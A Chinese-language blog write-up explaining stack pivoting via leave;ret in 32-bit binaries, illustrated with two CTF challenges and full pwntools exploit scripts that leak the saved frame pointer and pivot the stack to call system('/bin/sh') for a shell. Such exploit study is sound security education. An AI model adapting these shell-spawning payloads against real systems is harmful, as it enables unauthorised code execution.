首页 > 其他分享 >栈迁移原理及简单应用

栈迁移原理及简单应用

时间:2024-10-25 19:45:44浏览次数:1  
标签:ret edp sh ebp 应用 p32 原理 迁移 payload

栈迁移

stackoverflow

这个漏洞根据是栈溢出的一个延申,一般进行栈溢出攻击时,会把要返回的地址(有用的地址)溢出到ret处,然后就能控制流程甚至时getshell,但是有时候我们溢出的空间不够,够不到ret(或者栈空间不够存储参数)

栈迁移的核心思想就是将栈上的ebp和esp迁移到一个输入不受长度的限制且可控制的地址处(一般是bss段,再考虑其他栈情况)

这样就可以控制esp(实际上是控制eip),控制程序流。

这里要先深入理解ebp和ebp的内容是不一样的

比如ebp-->0x1111-->0x2222-->0x3333(MAIN)

这里ebp存放的是0x1111,而0x2222是存放在ebp的内容中,而这个内容也是一个地址,指向mian的位置,即0x3333

那什么时候能够利用栈迁移?

首先要有栈溢出,然后要有一个可写的区域(首先看bss段)

栈迁移的主要核心在于 leave;ret指令上,

leave指令为 mov esp,ebp;将ebp赋值给esp,此时,esp和ebp都指向一个地址

pop ebp; 将栈顶的内容弹入ebp

看下面的图就很好理解,先mov,esp和ebp指向同一个地址(0x1030),然后进行pop ebp 此时栈顶的内容(esp指向)即为ebp内容,把栈顶内容弹出之后,esp要向后下移动一个内存单元指向了原ret处,然后ebp指向了0x1030,至于0x1030指向什么,就和题有关了

那接下来在看ret --> pop eip 将栈顶内容弹出给eip(指向下一条指令执行的地址),看下图,栈顶弹出之后esp向下移动一个内存单元,然后eip就指向了ret addr

那么我们就要利用两次leave,ret,为什么呢,第一次的leave是将ebp移动到我们想迁移的地方,然后再进行一次leave 就会把esp也移动到内个地方,因为esp指向栈顶,ret是pop eip,所以实际上是通过这个控制eip的值,进而控制执行流

下面结合图分析一下

第一次leava_ret

经过上面的讲解,现在这个图自己尝试理解一吧(其实是一样的)

那么现在要进行第二次leave_ret

在第二次mov时已经将esp成功迁移,这两次的leave_ret我特意搞了不同的地方,没错,第二次中写入了,system,?为什么第二次会写入system?其实这是在第一次的时候写入,也就是利用栈溢出构造我们想要的栈结构,然后进行lea_ret,那为什么要隐藏呢,这样可以理解我们为什么要迁移esp(为了执行我们执行的栈结构),以及在栈溢出时我们就要做的准备

可以看到在第二次的lea_ret中最右图,edp存入了aaaa,因为有pop edp,也就是说我们在构造payload要先写入一个aaaa(垃圾数据)若不然,第一个写入system就会pop出去,没的执行,这样程序执行流不就乱了

下面引入例题

源鲁

ezstack(3)

32位栈迁移

看一下主要函数vuln

memset将s的前0x28个字节置零

然后读入0x38个字节,这里就有一个栈溢出,正好能够溢出到edp和ret

但是

system参数不对,我们想要改参数就要修改edp+8的位置,

可是栈空间不足那就需要栈迁移

前面的s参数给了足够的空间可以迁移的前面的栈空间

想了想这里还是先给出exp在讲

from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux')
p= process("./pwn")
send = 0x804a028
sh = 0x8049347
lea_ret = 0x8049323
payload = b'w'*40+b'a'*8  #+p32(send)+ p32(sh)//泄露edp地址
gdb.attach(p)
p.sendafter("stack3",payload)
p.recvuntil(b'a'*8)
edp =u32(p.recv(4))
print(hex(edp))
pause()
payload = b'aaaa'+p32(sh)+p32(edp-0x34)+b'/bin/sh'
payload = payload.ljust(0x30,b'\x00')
payload += p32(edp-0x40)+p32(lea_ret)
p.sendafter('pwn!',payload)

p.interactive() 

在这个程序中有两次读入都是用的read函数,在第一次读入的时候我们让他返回edp栈地址,因为printf是读到00结束当我们将edp前面的栈填充后,就没有空间填充00(read函数会自己补充00),然后就会将edp地址打印出来

看一下调试情况

可以看到前面已经被垃圾数据填满,再打印的时候就会将edp带出来,我们就要接受一下edp的地址

那就有个问题为什么要返回edp地址?

下面就会回答这个问题

这就到了咱们构造的第2个payload

payload = b'aaaa'+p32(sh)+p32(edp-0x34)+b'/bin/sh'
payload = payload.ljust(0x30,b'\x00')
payload += p32(edp-0x40)+p32(lea_ret)

在这个payload中有两个地方就比较特殊,就是edp-0x34和edp-0x40,这个是什么呢?就是关于edp的偏移

我们可以去看看栈情况

现在可以看到edp-0x40就是一开始read读入的地方,也就是在这里我们构造的payload开始的地方,也就是让edp去得地方,同理,edp-0x34就是‘/bin/sh’地方,其实在正常情况下应该会有一个system的返回地址,但是这个题好像不需要,直接加/bin/sh就可以

成功执行

第二个

Buu

ciscn_2019_es_2

其实这两个题差不多,有一点小区别,主要看一下栈情况的区别

直接定位到主要函数,发现其实两个题基本是没啥差别,就是会有一个返回地址的问题

from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux')
p= process("./pwn")
sh = 0x8048400
lea_ret = 0x80485FD
payload = b'w'*32+b'a'*8  #+p32(send)+ p32(sh)//泄露edp地址
gdb.attach(p)
p.sendafter("Welcome, my friend. What's your name?",payload)
p.recvuntil(b'a'*8)
edp =u32(p.recv(4))
print(hex(edp))
pause()
payload = b'aaaa'+p32(sh)+b'aaaa'+p32(edp-0x28)+b'/bin/sh'
payload = payload.ljust(0x28,b'\x00')
payload += p32(edp-0x38)+p32(lea_ret)
p.sendafter('\n',payload)

p.interactive() 

前面返回栈地址是一样的,只是溢出的字节不同,不过多解释,主要看payload2

可以看到在"/bin/sh"之前多了一个aaaa,哎上一个脚本怎么没有嘞?

其实这里主要是你前面sh的选址不同

在上一个脚本中我是选择了call system这里,直接将参数写进去,调用,并不是从头开始运行system函数

但是在第二个脚本时,当选择,call system的时候你会发现,参数"/bin/sh",不能完整写进去

类似这样,那就有个问题,我用aaaa去占位,使他能够输入整个参数

很简单,调试看一下

此时的栈结构

结合上面讲的leave ret 理解一下,那下面就看一下当我们调用plt表时

此时的程序执行流

会有一个内部函数读入参数,这样就可以get shell


希望可以帮到你,这只是简单的利用后面较难的迁移会单独出一篇文章

标签:ret,edp,sh,ebp,应用,p32,原理,迁移,payload
From: https://www.cnblogs.com/uuuwindwowo/p/18503167

相关文章

  • 易考八股文之Redis在你项目中怎么用,如果Redis宕机,应用服务还会响应吗?会造成哪些问题,如
    在项目中,Redis可以用于多种用途,例如:缓存数据:将经常访问的数据存储在Redis中,减少对后端数据库的查询压力,提高应用的响应速度。会话管理:存储用户会话信息,方便在分布式系统中管理用户登录状态等。如果Redis宕机,应用服务可能仍然会响应,但会面临一些问题:数据丢失:如果没有配置持久......
  • 【JavaEE初阶】网络原理(1)
    欢迎关注个人主页:逸狼创造不易,可以点点赞吗~如有错误,欢迎指出~互联网中最主流的时TCP/IP五层协议(应用层,传输层,网络层,数据链路层,物理层),应用层是程序员日常开发中最常用到的一层(可以使用已经开发好的协议,也可以自己定义应用层协议),其他层则操作系统/硬件/......
  • 【网络原理】HTTPS
      目录前言为什么要使用HTTPS?HTTPS是如果进行加密的1.对称加密2.非对称加密中间人攻击3.证书 中间人有没有可能篡改证书?中间人有没有可能整个调包证书?前言在上一篇中,我们讲解了什么是HTTP,但是在实际应用中,浏览器和服务器之间很少使用HTTP协议来进行通信。为......
  • 2024 年 MathorCup 数学应用挑战赛——大数据竞赛 赛道 A:台风的分类与预测 思路和代码
                       问题1:台风分类模型问题2:台风路径预测模型问题3:台风登陆后降水量与风速关系模型总结该题目分为三个主要问题,分别要求构建台风的分类模型、路径预测模型和降水风速模型。为了完成此任务,我们将运用大数据分析和机器学习建模技术,并......
  • 2024 年 MathorCup 数学应用挑战赛——大数据竞赛 赛道 B:电商品类货量预测及品类分仓
    2024年所有数学建模类比赛的个人思路和代码都会发布到专栏内,会结合最新的chatgpt发布思路,开赛一天后恢复原价99,不代写论文,不回复私信.没有群,只需订阅一次目录问题分析与解决思路问题1:货量预测模型问题2:一品一仓分仓规划问题3:一品多仓分仓规划总结这类大数据竞赛......
  • ChatGPT 在论文润色方面可以有哪些应用_1
    摘要:CHATGPT在论文润色方面具备丰富潜力,1、它能提供语言上的微调与改进,2、增加文章的流畅性,3、保证专业术语的准确性,4、帮助优化结构与论据展开,5、检查拼写与语法错误。尤其在提升文章的流畅性方面,ChatGPT能够通过上下文理解,智能修改句子结构,使之更加自然通顺。一、CHATGPT润色......
  • kubernetes【k8s介绍】【快速部署应用,管理容器】
    k8s提供:集中式管理集群的方法,也可快速部署应用1.关于部署方案2.什么时候需要k8s当你的应用只是跑在一台机器,直接一个docker+docker-compose就够了,方便轻松;当你的应用需要跑在3,4台机器上,你依旧可以使用每台机器单独配置运行环境+负载均衡器;当你的应用需要跑在10,20台机器......
  • 【容器】容器与虚拟机对比:全面解析与应用指南
    目录引言1.基本概念1.1容器1.2虚拟机(VM)2.架构比较3.性能比较3.1启动时间和资源消耗3.2性能指标4.用例场景4.1微服务架构4.2开发与测试4.3大规模部署5.安全性比较5.1容器安全性5.2虚拟机安全性6.生态系统6.1容器生态6.2虚拟机生态7.选择指南7.1选......
  • LQB焊接超声波部分原理图和焊接说明(勘误)
    1、自制的板子的原理图,有一个错误的地方,导致超声波不能正常使用。下图是实物的原理图存在错误,不小心,自我批评一下。图中的C6电容330pF的一端接到了VCC,是错误的。蓝桥杯的原理图是下图,接到GND因此。焊接的时候需要额外处理。二、焊接说明下图是实际的PCB图。存在错误。因此需要......
  • 国标GB28181公网直播EasyGBS国标GB28181软件在环境视频监控中的应用
    在当今快速发展的科技时代,视频监控系统已经渗透到我们生活的方方面面,从城市管理到个人安全,都离不开高效、智能的视频监控解决方案。而国标GB28181-2022平台EasyGBS能够通过简单的网络摄像机通道配置,将传统监控行业里面的高清网络摄像机IPCamera、NVR等GB28181国标协议输出的设......